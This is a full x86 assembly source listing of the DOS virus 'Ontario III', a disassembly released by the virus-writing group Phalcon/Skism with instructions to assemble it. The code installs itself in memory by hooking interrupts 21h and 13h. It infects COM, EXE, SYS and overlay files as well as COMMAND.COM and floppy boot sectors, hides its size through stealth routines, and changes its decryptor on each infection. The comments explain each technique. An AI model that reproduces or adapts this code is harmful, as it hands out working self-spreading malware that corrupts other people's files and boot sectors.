.model  tiny
                .code
; Ontario III
; Disassembly by Dark Angel of Phalcon/Skism
; Assemble with TASM /m ONTARIO3.ASM

; Virus written by Death Angel of YAM
                org     0

decrypt:
patch1:
                mov     di,offset endvirus      ; usually: offset enddecrypt
patch2          =       $ - 2
patch3          =       $
                mov     cx,37E5h
patch4          =       $ - 2
patch5:
                db      82h, 0C5h, 0D0h         ; add ch,0D0h
patch6          =       $ - 1
patch7:
                mov     al,0Ah
patch8          =       $ - 1

decrypt_loop:
                add     cs:[di],al
patch9          =       $ - 1
patch10:
                ror     al,cl
patch11         =       $ - 1
patch12:
                inc     di
patch13:
                loop    decrypt_loop
enddecrypt:

patch14:
                db      89h, 0FBh               ; mov bx,di
patch15         =       $ - 1

                sub     bx,offset save4
                xchg    ax,cx
                dec     ax
                cld
                call    saveorigvectors
                db      0e9h                    ; jmp
SYSpatch        dw      0                       ; currently jmp to next line
                int     21h                     ; installation check
                or      al,ah
                jz      restorefile
                push    ds
                mov     cx,bx
                mov     di,ds                   ; save current ds
                mov     ah,13h                  ; get BIOS int 13h handler
                int     2Fh                     ; to ds:dx and es:bx

                mov     si,ds                   ; does function function?
                cmp     si,di
                je      skipit
                push    ds
                push    dx
                mov     ah,13h                  ; restore handler
                int     2Fh


                mov     bx,cx                   ; but save its address too
                pop     word ptr cs:[bx+storeint13_1]
                pop     word ptr cs:[bx+storeint13_2]
skipit:
                xor     di,di
                mov     cx,es
                dec     cx
                mov     ds,cx                   ; get MCB of current program
                sub     word ptr [di+3],140h    ; decrease size by 5K
                mov     ax,[di+12h]             ; get high memory from PSP
                sub     ax,140h                 ; decrease size by 5K
                mov     [di+12h],ax             ; replace it
                mov     es,ax                   ; es->high memory segment
                sub     ax,1000h
                mov     word ptr cs:[bx+patchsegment],ax
                push    cs
                pop     ds
                mov     si,bx
                mov     cx,offset save4
                rep     movsb
                mov     ds,cx
                cli
                mov     word ptr ds:21h*4,offset int21 ; set int 21h handler
                mov     ds:21h*4+2,es           ; to virus's
                sti
                mov     ax,4BFFh                ; infect COMSPEC
                push    bx
                int     21h
                pop     bx
                pop     ds
                push    ds
                pop     es
restorefile:
                lea     si,[bx+offset save4]
                mov     di,100h
                cmp     bx,di
                jb      restoreEXE
                push    di
                movsw
                movsw
                retn
restoreEXE:
                mov     ax,es                   ; get start segment
                add     ax,10h                  ; adjust for PSP
                add     cs:[si+2],ax            ; relocate CS
                add     cs:[si+4],ax            ; relocate SS
                cli
                mov     sp,cs:[si+6]            ; restore stack
                mov     ss,cs:[si+4]
                sti
                jmp     dword ptr cs:[si]

int21instcheck:
                inc     ax
                iret

int21:
                cmp     ax,0FFFFh               ; installation check?
                je      int21instcheck
                cmp     ah,4Bh                  ; execute?
                je      execute
                cmp     ah,11h                  ; FCB find first?
                je      findfirstnext
                cmp     ah,12h                  ; FCB find next?
                je      findfirstnext
                cmp     ax,3D00h                ; open file read only?
                jne     int21exit
                call    handleopen
int21exit:
                db      0EAh                    ; jmp far ptr
oldint21        dd      0

findfirstnext:                                  ; standard stealth routine
                push    bp
                mov     bp,sp
                cmp     word ptr [bp+4],1234h
patchsegment    =       $ - 2
                pop     bp
                jb      int21exit
                call    callint21               ; do findfirst/next
                call    pushall
                mov     ah,2Fh                  ; Get DTA
                call    callint21
                cmp     byte ptr es:[bx],0FFh   ; extended FCB?
                je      findfirstnextnotextendedFCB
                sub     bx,7                    ; convert to standard
findfirstnextnotextendedFCB:
                mov     al,es:[bx+1Eh]          ; get seconds counter
                and     al,1Fh                  ; check if 62 seconds
                cmp     al,1Fh                  ; (infection marker)
                jne     findfirstnextexit       ; exit if not
                mov     dx,es:[bx+26h]          ; get file size
                mov     ax,es:[bx+24h]
                sub     ax,viruslength          ; decrease by virus
                sbb     dx,0                    ; size
                or      dx,dx
                jc      findfirstnextexit
                mov     es:[bx+26h],dx          ; replace file size
                mov     es:[bx+24h],ax          ; with "stealthed" one
findfirstnextexit:
                call    popall
                iret

execute:
                mov     byte ptr cs:infectSYS,0
                cmp     al,1                    ; load/don't execute
                je      load_noexecute
                cmp     al,0FFh                 ; called by virus
                je      infectCOMSPEC
                call    infectDSDX
                jmp     short int21exit

infectCOMMANDCOM:
                mov     byte ptr cs:infectSYS,0
                push    dx
                push    ds
                mov     dx,offset command_com
                push    cs
                pop     ds
                mov     byte ptr ds:infCOMMAND,0FFh ; infecting COMMAND.COM
                call    infectDSDX
                pop     ds
                pop     dx
                iret

infectCOMSPEC:
                mov     ah,51h                  ; Get current PSP
                call    callint21
                mov     es,bx
                mov     ds,es:[2Ch]             ; environment block
                xor     si,si
                push    cs
                pop     es
infectCOMSPECfindcomspec:
                mov     di,offset comspec       ; is 'COMSPEC=' the first
                mov     cx,4                    ; entry in environment?
                repe    cmpsw                   ; (should be)
                jcxz    infectCOMSPECnoenvironment ; otherwise, quit
infectCOMSPECfindend:
                lodsb                           ; search for end of string
                or      al,al
                jnz     infectCOMSPECfindend
                cmp     byte ptr [si],0         ; found it?
                jne     infectCOMSPECfindcomspec; nope, try again
                jmp     short infectCOMMANDCOM  ; otherwise, infect
infectCOMSPECnoenvironment:
                mov     dx,si
                mov     byte ptr cs:infCOMMAND,0FFh ; infecting COMMAND.COM
                call    infectDSDX              ; but are we really?  Maybe
                iret                            ; it's 4DOS.  This is a bug.
load_noexecute:
                push    es                      ; save parameter block
                push    bx
                call    callint21               ; prechain
                pop     bx
                pop     es
                call    pushall
                jnc     load_noexecute_ok       ; continue if no error
                jmp     load_noexecute_exit
load_noexecute_ok:
                xor     cx,cx
                lds     si,dword ptr es:[bx+12h]; get entry point on return
                push    ds
                push    si
                mov     di,100h
                cmp     si,di
                jl      loading_EXE
                ja      load_noexecute_quit
; debugger active
                lodsb
                cmp     al,0E9h                 ; check if infected
                jne     load_noexecute_quit
                lodsw
                push    ax                      ; save jmp location
                lodsb
                cmp     al,'O'                  ; check for infection marker
                pop     si                      ; get jmp location
                jnz     load_noexecute_quit
                add     si,103h                 ; convert to file offset
                inc     cx
                inc     cx
                pop     ax
                push    si
                push    ds
                pop     es
                jmp     short check_infection
loading_EXE:
                lea     di,[bx+0Eh]             ; check SS:SP on return
                cmp     word ptr es:[di],9FFh   ; infected?
                jne     load_noexecute_quit
check_infection:
                lodsb
                cmp     al,0BBh                 ; possibility 1
                je      infected_checked1
                cmp     al,0BEh                 ; possibility 2
                je      infected_checked1
                cmp     al,0BFh                 ; possibility 3
                jne     load_noexecute_quit
infected_checked1:
                lodsw                           ; get starting offset
                push    ax                      ; to decrypt
                lodsb                           ; get next byte
                cmp     al,0B9h                 ; check for infection
                lodsw
                pop     si                      ; offset to decrypt
                jnz     load_noexecute_quit
                cmp     ah,7                    ; check if infected
                je      infected_checked2
                cmp     al,0E5h                 ; ditto
                jne     load_noexecute_quit
infected_checked2:
                add     si,save4 - enddecrypt
                jcxz    disinfectEXE
                rep     movsw
                jmp     short finish_disinfection
disinfectEXE:
                mov     ah,51h                  ; Get current PSP
                call    callint21
                add     bx,10h                  ; go to file starting CS
                mov     ax,[si+6]
                dec     ax
                dec     ax
                stosw
                mov     ax,[si+4]
                add     ax,bx
                stosw
                movsw
                lodsw
                add     ax,bx
                stosw
finish_disinfection:
                pop     di
                pop     es
                xchg    ax,cx
                mov     cx,viruslength
                rep     stosb
                jmp     short load_noexecute_exit
load_noexecute_quit:
                pop     ax
                pop     ax
load_noexecute_exit:
                call    popall
                retf    2


handleopen:
                call    pushall
                mov     si,dx                   ; find extension of
handleopenscanloop:                             ; ASCIIZ string
                lodsb
                or      al,al                   ; found end of screen?
                jz      handleopenexit          ; yup, no extension -- exit
                cmp     al,'.'                  ; extension found?
                jne     handleopenscanloop
                mov     di,offset validextensions - 3
                push    cs
                pop     es
                mov     cx,4
                nop

scanvalidextension:
                push    cx
                push    si
                mov     cl,3
                add     di,cx
                push    di

check_extension:
                lodsb
                and     al,5Fh                  ; Capitalise
                cmp     al,es:[di]              ; do they compare ok?
                jne     extension_no_match      ; nope, try next one
                inc     di
                loop    check_extension

                cmp     al,'S'                  ; SYS file?
                jne     opennotSYS
                mov     byte ptr cs:infectSYS,0FFh ; infecting SYS file
opennotSYS:
                call    infectDSDX
                add     sp,6
                jmp     short handleopenexit
extension_no_match:
                pop     di
                pop     si
                pop     cx
                loop    scanvalidextension

handleopenexit:
                call    popall
                retn

infectDSDX:
                call    pushall
                call    replaceint13and24
                push    dx
                push    ds
                mov     ax,4300h                ; get attributes
                call    callint21
                push    cx
                pushf
                jc      go_restoreattribs
                push    cx
                and     cl,1                    ; check if read only
                cmp     cl,1
                jne     infectDSDXnoclearattributes
                xor     cx,cx                   ; clear if so
                mov     ax,4301h
                call    callint21
infectDSDXnoclearattributes:
                pop     cx
                and     cl,4
                cmp     cl,4
                je      go_restoreattribs
                mov     ax,3D02h                ; open file read/write
                call    callint21
                jnc     infectDSDXopenOK        ; continue if no error
go_restoreattribs:
                jmp     infectDSDXrestoreattributes
infectDSDXopenOK:
                xchg    ax,bx                   ; handle to bx
                push    cs
                push    cs
                pop     ds
                pop     es
                mov     word ptr ds:SYSpatch,0
                mov     ax,5700h                ; save file time/date
                call    callint21
                push    dx
                push    cx
                and     cl,1Fh                  ; check if infected
                cmp     cl,1Fh                  ; (seconds == 62)
                je      infectDSDXerror
                mov     dx,offset readbuffer    ; read header from
                mov     cx,1Ch                  ; potential carrier
                mov     ah,3Fh                  ; file to the
                call    callint21               ; buffer
                jnc     infectDSDXreadOK        ; continue if no error
infectDSDXerror:
                stc                             ; mark error
                jmp     infectDSDXclose         ; and exit
infectDSDXreadOK:
                cmp     ax,cx                   ; read 1ch bytes?
                jne     infectDSDXerror         ; exit if not
                xor     dx,dx
                mov     cx,dx
                mov     ax,4202h                ; go to end of file
                call    callint21
                or      dx,dx
                jnz     infectDSDXfilelargeenough
                cmp     ax,0A01h                ; check if too small
                jb      infectDSDXerror
infectDSDXfilelargeenough:
                cmp     dl,5
                ja      infectDSDXerror
                cmp     word ptr ds:readbuffer,'ZM'     ; EXE?
                je      infectDSDXskipcheck
                cmp     word ptr ds:readbuffer,'MZ'     ; EXE?
infectDSDXskipcheck:
                je      infectDSDXcheckEXE
                cmp     byte ptr ds:infectSYS,0FFh      ; infecting SYS file?
                jne     infectDSDXcheckCOM
                cmp     word ptr ds:readbuffer,0FFFFh   ; check if SYS
                jne     infectDSDXerror                 ; file
                cmp     word ptr ds:readbuffer+2,0FFFFh
isanoverlay:
                jne     infectDSDXerror
                or      dx,dx
                jnz     infectDSDXerror
                push    ax                      ; save file size
                mov     di,offset save4
                mov     ax,5657h                ; push di, push si
                stosw
                mov     ax,0E953h               ; push bx, jmp decrypt
                stosw
                mov     ax,offset decrypt - (offset save4 + 6)
                stosw
                mov     ax,word ptr ds:readbuffer+6 ; get strategy start point
                stosw
                pop     ax                      ; get file size
                push    ax
                add     ax,offset save4
                mov     word ptr ds:readbuffer+6,ax
                mov     word ptr ds:SYSpatch,offset strategy-(offset SYSpatch + 2)
                mov     byte ptr ds:decrypt_loop,36h    ; replace with SS:
                pop     ax
                add     ax,offset enddecrypt
                jmp     short go_infectDSDXcontinue
infectDSDXcheckCOM:
                cmp     byte ptr ds:readbuffer+3,'O'; check if already infected
jmp_infectDSDXerror:
                je      infectDSDXerror
                cmp     byte ptr ds:infCOMMAND,0; infecting COMMAND.COM?
                je      dontdoslackspace
                sub     ax,viruslength          ; infect slack space of
                xchg    ax,dx                   ; command.com
                xor     cx,cx
                mov     ax,4200h
                call    callint21
dontdoslackspace:
                mov     si,offset readbuffer
                mov     di,offset save4
                movsw
                movsw
                sub     ax,3                         ; convert size->jmp dest
                mov     byte ptr ds:readbuffer,0E9h  ; encode JMP
                mov     word ptr ds:readbuffer+1,ax  ; and destination
                mov     byte ptr ds:readbuffer+3,'O' ; mark infected
                add     ax,116h
go_infectDSDXcontinue:
                jmp     short infectDSDXcontinue
infectDSDXcheckEXE:
                cmp     word ptr ds:readbuffer+10h,0A01h ; already infected?
                je      jmp_infectDSDXerror
                cmp     word ptr ds:readbuffer+1Ah,0
                jne     isanoverlay             ; exit if it's an overlay

                push    dx
                push    ax
                mov     cl,4
                ror     dx,cl
                shr     ax,cl
                add     ax,dx                           ; ax:dx = file size
                sub     ax,word ptr ds:readbuffer+8     ; subtract header size
                mov     si,offset readbuffer+14h
                mov     di,offset origCSIP
                movsw                           ; save initial CS:IP
                movsw
                mov     si,offset readbuffer+0Eh
                movsw                           ; save initial SS:SP
                movsw
                mov     word ptr ds:readbuffer+16h,ax    ; set initial CS
                mov     word ptr ds:readbuffer+0Eh,ax    ; set initial SS
                mov     word ptr ds:readbuffer+10h,0A01h ; set initial SP
                pop     ax
                pop     dx
                push    ax
                add     ax,0A01h

                ; adc dx,0 works just as well
                jnc     infectEXEnocarry
                inc     dx
infectEXEnocarry:
                mov     cx,200h                 ; take image size
                div     cx
                ; The next line is not entirely corrrect.  The image size
                ; div 512 is rounded up.  Therefore, DOS will find this number
                ; to be off by 512d bytes
                mov     word ptr ds:readbuffer+4,ax     ; image size div 512
                mov     word ptr ds:readbuffer+2,dx     ; image size mod 512
                pop     ax
                and     ax,0Fh
                mov     word ptr ds:readbuffer+14h,ax   ; set initial IP
                add     ax,offset enddecrypt
infectDSDXcontinue:
                mov     word ptr ds:patch2,ax   ; patch start area
                push    bx                      ; save file handle
                xor     byte ptr ds:decrypt_loop,18h    ; swap SS: & CS:
                call    encrypt                 ; encrypt virus to buffer
                pop     bx                      ; restore file handle
                mov     ah,40h                  ; Concatenate encrypted
                call    callint21               ; virus
                jc      infectDSDXclose         ; exit on error
                xor     dx,dx
                mov     cx,dx
                mov     ax,4200h                ; go to start of file
                call    callint21
                jc      infectDSDXclose
                mov     dx,offset readbuffer
                mov     cx,1Ch
                mov     ah,40h                  ; Write new header
                call    callint21
infectDSDXclose:
                pop     cx
                pop     dx
                jc      infectDSDXnoaltertime
                cmp     byte ptr ds:infCOMMAND,0FFh ; infecting COMMAND.COM?
                je      infectDSDXnoaltertime
                or      cl,1Fh                  ; set time to 62 seconds
infectDSDXnoaltertime:
                mov     ax,5701h                ; restore file time/date
                call    callint21
                mov     ah,3Eh                  ; Close file
                call    callint21
infectDSDXrestoreattributes:
                mov     byte ptr cs:infCOMMAND,0
                mov     byte ptr cs:infectSYS,0
                popf
                pop     cx
                pop     ds
                pop     dx
                jc      infectDSDXexit
                mov     ax,4301h                ; restore file attributes
                call    callint21
infectDSDXexit:
                call    restoreint13and24
                call    popall
                retn

pushall:
                push    bp
                mov     bp,sp
                push    bx
                push    cx
                push    dx
                push    si
                push    di
                push    ds
                push    es
                pushf
                xchg    ax,[bp+2]
                push    ax
                mov     ax,[bp+2]
                retn

popall:
                pop     ax
                xchg    ax,[bp+2]
                popf
                pop     es
                pop     ds
                pop     di
                pop     si
                pop     dx
                pop     cx
                pop     bx
                pop     bp
                retn

replaceint13and24:
                push    ds
                xor     ax,ax
                mov     ds,ax
                mov     si,13h*4
                lodsw
                mov     word ptr cs:origint13_1,ax
                lodsw
                mov     word ptr cs:origint13_2,ax
                mov     si,24h*4
                lodsw
                mov     word ptr cs:origint24_1,ax
                lodsw
                mov     word ptr cs:origint24_2,ax
                mov     word ptr ds:13h*4,1234h
storeint13_1    =       $ - 2
                mov     word ptr ds:13h*4+2,1234h
storeint13_2    =       $ - 2
                mov     word ptr ds:24h*4,offset int24 ; replace int 24 handler
                mov     ds:24h*4+2,cs
                pop     ds
                retn

restoreint13and24:
                xor     ax,ax
                mov     ds,ax
                mov     word ptr ds:13h*4,1234h
origint13_1     =       $ - 2
                mov     word ptr ds:13h*4+2,1234h
origint13_2     =       $ - 2
                mov     word ptr ds:24h*4,1234h
origint24_1     =       $ - 2
                mov     word ptr ds:24h*4+2,1234h
origint24_2     =       $ - 2
                retn

int24:
                xor     al,al
                iret

encrypt:
                mov     di,offset patch4
                mov     si,di
                mov     word ptr [si],offset save4 - offset enddecrypt
                xor     bx,bx
                call    random
                jz      encrypt1
                add     bl,4
                inc     di
encrypt1:
                call    random
                in      al,40h                  ; get random #
                mov     bh,al
                jz      encrypt2
                add     [di],al                 ; alter amount to encrypt
                add     bl,28h
                jmp     short encrypt3
encrypt2:
                sub     [di],al                 ; alter amount to encrypt
encrypt3:
                add     bl,0C1h
                mov     [si+3],bx
                call    random
                jz      encrypt4
                xor     byte ptr [si+2],2       ; flip betwen add/sub
encrypt4:
                in      ax,40h                  ; get random number != 0
                or      ax,ax
                jz      encrypt4
                mov     bx,3                    ; first choose one of
                xor     dx,dx                   ; three possible registers
                div     bx
                xchg    ax,bx
                inc     ax                      ; ax = 4
                mul     dx                      ; convert to offset in
                xchg    ax,bx                   ; table
                lea     si,[bx+offset table1]
                lodsb
                mov     byte ptr ds:patch1,al
                lodsb
                mov     byte ptr ds:patch9,al
                lodsb
                mov     byte ptr ds:patch12,al
                lodsb
                mov     byte ptr ds:patch15,al
                call    random
                jz      encrypt5
                xor     byte ptr ds:patch13,2 ; loop/loopnz
encrypt5:
                in      ax,40h                  ; get random number
                mov     byte ptr ds:patch8,ah
                and     ax,0Fh
                xchg    ax,bx
                shl     bx,1
                mov     ax,[bx+offset table2]
                mov     word ptr ds:patch10,ax
                xor     si,si
                mov     di,offset encryptbuffer ; copy virus to
                mov     cx,endvirus - decrypt   ; temporary buffer
                push    cx                      ; for encryption
                cld
                rep     movsb
                mov     bx,offset enddecrypt
                push    word ptr [bx]           ; save it
                mov     byte ptr [bx],0C3h      ; put retn in its place
                push    bx
                xor     byte ptr [bx-7],28h     ; sub/add
                push    word ptr ds:decrypt_loop
                mov     byte ptr [bx-8],2Eh     ; CS:
                mov     dx,offset encryptbuffer
                add     bx,dx
                mov     word ptr ds:patch2,bx
                call    decrypt
                pop     word ptr ds:decrypt_loop
                pop     bx
                pop     word ptr [bx]
                pop     cx
                retn


random: ; 1/2 chance of zero flag set
                in      al,40h
                and     al,1
                cmp     al,1
                retn


saveorigvectors:
                push    ds
                push    ax
                xor     ax,ax
                mov     ds,ax
                mov     ax,ds:13h*4
                mov     word ptr cs:[bx+storeint13_1],ax
                mov     ax,ds:13h*4+2
                mov     word ptr cs:[bx+storeint13_2],ax
                mov     ax,ds:21h*4
                mov     word ptr cs:[bx+offset oldint21],ax
                mov     ax,ds:21h*4+2
                mov     word ptr cs:[bx+offset oldint21+2],ax
                pop     ax
                pop     ds
                retn

strategy:
                mov     word ptr cs:[bx+doffset],bx ; save delta offset
                pop     bx
                pop     di
                pop     si
                call    pushall
                push    cs
                pop     ds
                mov     bx,1234h                ; restore delta offset
doffset         =       $ - 2
                db      8bh, 87h                ; mov ax,ds:[save4+6]
                dw      offset save4 + 6        ; get old strategy entry point
                mov     word ptr ds:[6],ax      ; and restore to file header
                int     12h                     ; Get memory size in K
                sub     ax,5                    ; decrease by 5 K
                mov     cl,6                    ; convert to paragraphs
                shl     ax,cl
                mov     es,ax
                mov     word ptr ds:[bx+himemsegment],ax
                cmp     byte ptr es:[3],0B9h    ; check if already installed
                je      strategyexit
                mov     si,bx                   ; copy to high memory
                xor     di,di
                mov     cx,viruslength
                rep     movsb
                pushf
                db      09Ah    ; call far ptr
                dw      infectCOMMANDCOM
himemsegment    dw      0

strategyexit:
                call    popall
                jmp     word ptr cs:[6]         ; go to original strategy

table1          db      0BEh, 04h, 46h,0F3h ; si
                db      0BFh, 05h, 47h,0FBh ; di
                db      0BBh, 07h, 43h,0DBh ; bx

table2:         inc     al
                dec     al
                inc     ax
                inc     ax
                dec     ax
                dec     ax
                add     al,cl
                sub     al,cl
                xor     al,cl
                xor     al,ch
                not     al
                neg     al
                ror     al,1
                rol     al,1
                ror     al,cl
                rol     al,cl
                nop
                nop
                add     al,ch

comspec         db      'COMSPEC='
command_com     db      '\COMMAND.COM',0

validextensions db      'COMEXEOVLSYS'

bootsector:     ; offset 600h in the virus
                jmp     short bootsectorentry
                nop
bootparms       db      3Bh dup (0)

bootsectorentry:
                xor     ax,ax
                mov     ds,ax
                cli
                mov     ss,ax
                mov     sp,7C00h
                sti
                mov     ax,ds:13h*4             ; get int 13h handler
                mov     word ptr ds:[7C00h+oldint13-bootsector],ax
                mov     ax,ds:13h*4+2           ; and save it
                mov     word ptr ds:[7C00h+oldint13+2-bootsector],ax
                mov     ax,ds:[413h]            ; get total memory
                sub     ax,2                    ; reduce by 2K
                mov     ds:[413h],ax            ; replace memory size
                mov     cl,6
                shl     ax,cl                   ; convert to paragraphs
                sub     ax,60h                  ; go to boot block start
                mov     es,ax
                mov     si,sp
                mov     di,offset bootsector
                mov     cx,100h
                rep     movsw
                mov     dx,offset highentry
                push    es
                push    dx
                retf
highentry:
                xor     ax,ax                   ; reset disk
                and     dl,al
                int     13h
                push    ds
                push    es
                pop     ds
                pop     es
                mov     bx,sp                   ; read to 0:7C00h
                mov     dx,drivehead            ; find where original boot
                mov     cx,sectortrack          ; block stored and then
                mov     ax,201h                 ; read original boot
                int     13h                     ; sector
                jc      $                       ; halt on error
                xor     ax,ax                   ; else chain to original
                mov     ds,ax                   ; boot sector
                mov     word ptr ds:13h*4,offset int13
                mov     ds:13h*4+2,cs           ; replace int 13h handler
                push    es
                push    bx
                retf

int13:
                push    bp
                mov     bp,sp
                push    ds
                push    es
                push    si
                push    di
                push    dx
                push    cx
                push    bx
                push    ax
                pushf
                xor     bx,bx
                mov     ds,bx
                test    byte ptr ds:[43Fh],1    ; A: spinning?
                jnz     exitint13               ; exit if so
                or      dl,dl                   ; default drive?
                jnz     exitint13               ; exit if not
                cmp     ah,2                    ; read/write/verify?
                jb      exitint13
                cmp     ah,4
                jbe     trapint13
exitint13:
                popf
                pop     ax
                pop     bx
                pop     cx
                pop     dx
                pop     di
                pop     si
                pop     es
                pop     ds
                pop     bp
                jmp     dword ptr cs:oldint13   ; chain to original handler

trapint13:
                cld
                push    cs
                push    cs
                pop     es
                pop     ds
                xor     cx,cx
                mov     dx,cx
                inc     cx
                mov     bx,offset endvirus      ; read boot block to
                mov     ax,201h                 ; buffer at endvirus
                call    callint13
                jnc     int13readOK
int13exit:
                jmp     short exitint13
int13readOK:
                cmp     word ptr [bx+15h],501Eh ; push ds, push ax?
                jne     int13skip
                cmp     word ptr [bx+35h],0FF2Eh; jmp cs: ?
                jne     int13skip
                cmp     word ptr [bx+70h],7505h ; add ax,XX75 ?
                jne     int13skip
                mov     dh,1
                mov     cl,3
                mov     ax,201h
                call    callint13
                xor     dh,dh
                mov     cl,1
                mov     ax,301h
                call    callint13
int13skip:
                cmp     word ptr ds:[offset endvirus-bootsector+YAM],'Y*'
                je      int13exit               ; don't infect self
                cmp     word ptr ds:[offset endvirus+0Bh],200h
                jne     int13exit               ; infect only 512 bytes per sector
                cmp     byte ptr ds:[offset endvirus+0Dh],2
                jne     int13exit               ; only 2 reserved sectors
                cmp     word ptr ds:[offset endvirus+1Ah],2
                ja      int13exit               ; only 2 sec/track
                xor     dx,dx   ; calculate new location of boot block
                mov     ax,word ptr ds:[offset endvirus+13h] ; total sec
                mov     bx,word ptr ds:[offset endvirus+1Ah] ; sec/track
                mov     cx,bx
                div     bx                      ; # track
                xor     dx,dx
                mov     bx,word ptr ds:[offset endvirus+18h] ; sec/FAT
                div     bx
                sub     word ptr ds:[offset endvirus+13h],cx ; total sec
                dec     ax
                mov     byte ptr sectortrack+1,al
                mov     ax,word ptr ds:[offset endvirus+18h] ; sec/FAT
                mov     byte ptr sectortrack,al
                mov     ax,word ptr ds:[offset endvirus+1Ah] ; sec/track
                dec     ax
                mov     byte ptr drivehead+1,al
                mov     byte ptr drivehead,0
                mov     dx,drivehead            ; move original boot block
                mov     cx,sectortrack          ; to end of disk
                mov     bx,offset endvirus
                mov     ax,301h
                call    callint13
                jc      go_exitint13
                mov     si,offset endvirus+3    ; copy parameters so
                mov     di,offset bootparms     ; no one notices boot
                mov     cx,bootsectorentry - bootparms ; block is changed
                rep     movsb
                xor     cx,cx
                mov     dx,cx
                inc     cx
                mov     bx,offset bootsector    ; copy virus boot block
                mov     ax,301h
                call    callint13
go_exitint13:
                jmp     exitint13

callint21:
                pushf
                call    dword ptr cs:oldint21
                retn

callint13:
                pushf
                call    dword ptr cs:oldint13
                retn

oldint13        dd      0
drivehead       dw      100h
sectortrack     dw      2709h
YAM             db      '*YAM*',1Ah
                db      'Your PC has a bootache! - Get some medicine!',1Ah
                db      'Ontario-3 by Death Angel',1Ah,1Ah,1Ah,1Ah
save4:
origCSIP        db      0CDh, 020h, 0, 0
origSSSP        dd      0

endvirus:

viruslength     =       $ - decrypt

infCOMMAND      db      ?
infectSYS       db      ?
readbuffer      db      01Ch dup (?)
encryptbuffer   db      viruslength dup (?)

                end     decrypt